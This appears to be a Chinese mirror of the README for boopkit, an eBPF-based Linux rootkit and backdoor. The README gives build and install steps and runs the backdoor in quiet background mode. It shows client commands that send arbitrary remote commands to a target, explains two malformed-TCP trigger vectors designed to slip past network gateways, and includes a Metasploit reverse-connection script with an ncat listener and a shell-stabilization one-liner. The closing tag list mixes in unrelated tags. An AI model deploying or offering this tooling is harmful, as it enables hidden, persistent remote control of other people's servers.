krisnova/boopkit
GitHub: krisnova/boopkit
一款基于 Linux eBPF 技术的隐蔽型后门工具,通过发送特制的畸形 TCP 数据包在内核层触发远程命令执行。
Stars: 1664 | Forks: 184
```
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Author: Kris Nóva Version 1.4.0
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES.
DO NOT ATTEMPT TO USE THE TOOLS TO VIOLATE THE LAW.
THE AUTHOR IS NOT RESPONSIBLE FOR ANY ILLEGAL ACTION.
MISUSE OF THE SOFTWARE, INFORMATION, OR SOURCE CODE
MAY RESULT IN CRIMINAL CHARGES.
Use at your own risk.
================================================================
Boopkit.
Linux rootkit and backdoor. Built using eBPF.
Usage:
boopkit [options]
Options:
-h, help Display help and usage for boopkit.
-i, interface Interface name. lo, eth0, wlan0, etc
-s, sudo-bypass Bypass sudo check. Breaks PID obfuscation.
-r, reverse-conn Attempt a reverse RCE lookup if no payload found.
-q, quiet Disable output.
-x, reject Source addresses to reject triggers from.
```
Linux 后门、Rootkit 和 eBPF 绕过工具。
通过原始 TCP 进行远程命令执行。
- 已在 Linux 内核 5.16 上测试
- 已在 Linux 内核 5.17 上测试
- 通过 TCP 进行远程代码执行(SSH、Nginx、Kubernetes 等)
- 网络网关绕过(错误校验和、TCP 重置)
- 运行时自我混淆(eBPF 进程隐藏)
##### 免责声明

## 服务端
下载并构建 boopkit。
```
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
```
在前台运行 boopkit。
```
# 拒绝 localhost 和 10.0.0.1 上的所有 boop
boopkit -x 127.0.0.1 -x 10.0.0.1
```
在后台以静默模式运行 boopkit。
```
# 危险!这可能很难停止!运行此命令的风险自负!
boopkit -q &
```
Boopkit 现在正在运行,可以使用客户端 `boopkit-boop` 命令行工具进行利用。
## 客户端
下载并构建 boopkit。
```
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
```
对服务端运行 boopkit-boop。
```
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
```
# Boop 向量
Boopkit 会响应网络上的各种事件。这两种事件都可以通过 `boopkit-boop` 工具触发。
TCP 头部格式。取自 [RFC 793](https://datatracker.ietf.org/doc/html/rfc793#section-3.1)。1981 年 9 月
```
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ data }
{ .... }
{ data }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
### 1. 错误校验和 (Bad Checksum)
首先,`boopkit-boop` 工具会通过 `SOCK_RAW` 套接字向服务端发送一个带有空校验和的畸形 TCP SYN 包。无论运行什么 TCP 服务,这都会远程触发 `boopkit`。这适用于任何运行 boopkit 的 Linux 服务器,无论 TCP 服务的状态如何。
使用 `-p` 选项运行 `boopkit-boop` 以仅使用此第一个向量。
⚠️ 一些现代网络硬件会丢弃所有畸形校验和数据包,例如利用此向量攻击 boopkit 所需的数据包!
### 2. 发送 ACK-RST 包
接下来,`boopkit-boop` 工具将使用 `SOCK_STREAM` 套接字与远程 TCP 服务(如 SSH、Kubernetes、Nginx 等)完成有效的 TCP 握手。初始 TCP 握手完成后,`boopkit-boop` 将第二次重复该过程。
第二次握手将在包中翻转 TCP 重置标志,从而在服务端触发 TCP 重置。
这两种策略中的任何一种都足以独立触发 boopkit。
各种网络硬件和运行时条件会使任一策略更具可行性。
Boopkit 默认会尝试这两种策略,并对两者做出响应。
# Boopscript
`boopscript` 文件是一个与 [Metasploit](https://github.com/rapid7/metasploit-framework) 兼容的脚本,可用于在远程 Linux 机器上安装 `boopkit-boop` 后远程触发 boopkit 后门。
```
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
```
### 编译时依赖项
- 'clang'
- 'bpftool' `libbpf` 必需
- 'xdp-tools' `libxdp` 必需
- 'llvm'
- 'pcap'
- 'lib32-glibc'
### 反弹 Shell 稳定化
```
python -c "import pty; pty.spawn('/bin/bash')"
```
### 参考资料
- [Tracepoints with BPF](https://lwn.net/Articles/683504/)
- [Raw TCP Sockets](https://github.com/MaxXor/raw-sockets-example)
- [Bad BPF](https://github.com/pathtofile/bad-bpf)
感谢原作者提供有用的代码示例!我为这个项目 Fork 了大量代码!
标签:0day挖掘, CSV导出, Docker镜像, PE 加载器, RCE, Rootkit, TCP, Zeek, 内核安全, 协议分析, 协议利用, 反向Shell, 后门, 安全渗透, 客户端加密, 客户端加密, 并发处理, 恶意软件, 提权, 权限提升, 系统工具, 编程工具, 网络安全, 远程代码执行, 隐私保护, 隐秘信道